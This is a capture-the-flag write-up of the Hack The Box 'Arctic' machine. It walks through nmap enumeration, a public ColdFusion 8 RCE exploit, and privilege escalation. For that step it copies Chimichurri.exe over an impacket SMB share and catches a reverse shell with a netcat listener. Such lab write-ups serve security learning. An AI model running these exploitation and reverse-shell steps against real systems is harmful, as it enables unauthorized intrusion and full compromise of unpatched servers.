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Scanning/Enumeration 
Looking at the feedback from the basic nmap  I see that there are only three ports 

open on this machine, 135, 8500, and 49154. I tried to see what enumeration was 
possible on port 135, but nothing came to avail, so I shifted my focus to port 8500.

https://app.hackthebox.com/machines/9
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Basic nmap  scan results: nmap -A $IP -oN nmap-initial.txt

Port 8500 is running Adobe Cold Fusion 8, which I found out by visiting the website 
only because when researching what usually runs on port 8500 I saw people using the 
tool dirb  and mention of this service running on that port. 

Visting the main listing on port 8500

Viewing the admin login portal 

https://www.speedguide.net/port.php?port=8500


Arctic 3

Exploiting ColdFusion
I searched up ColdFusion in searchsploit  to look for potential exploit code since this 

software was so old. I found an RCE that worked immediately and appeared to be 
configured for this machine already because the RHOST IP was already set for 
10.10.10.11. The only thing I had to do was go into the file and change my LHOST to 
the HTB IP.

searchsploit coldfusion

Running the exploit to get an RCE on the system 

Changing the LHOST to my HTB IP
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python3 50057.py

🚩User.txt Flag🚩
Now that I’m on the system I navigate to tolis ' directory to display the user flag

Displaying the user flag
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🚩Root.txt Flag🚩
I was unsure of how to get root on the machine, so I had to follow this wonderful 

blog to understand the process and thinking behind it. Below is just me following the 
steps in the article.

Entering systeminfo  to find out that no service packs have been applied to this 
old version of Windows Server 2008

https://0xdf.gitlab.io/2020/05/19/htb-arctic.html
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After updating windows-exploit-suggester.py  I checked for possible exploits 

First save the output from the systeminfo  command to a file ( sysinfo )



Arctic 7

If windows-exploit-suggester.py  gives you an .xls opening up error then you 
can enter pip install xlrd==1.2.0  and then everything will work 
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Using impacket-smbserver  to share the exploit over SMB with the Arctic 
machine 

Sharing current directory over SMB 

impacket-smbserver share .  

Copying exploit over to the arctic machine 

net use \\$IP\share

copy \\$IP\share\Chimichurri.exe .
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Setting up my netcat listener 

rlwrap nc -lvnp 3333

Running the exploit to become root on the machine

Chimichurri.exe $IP $PORT

Displaying the root flag
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What I learned
I didn’t know you could create an smbserver with the usage of impacket

Learned about windows-exploit-suggester.py


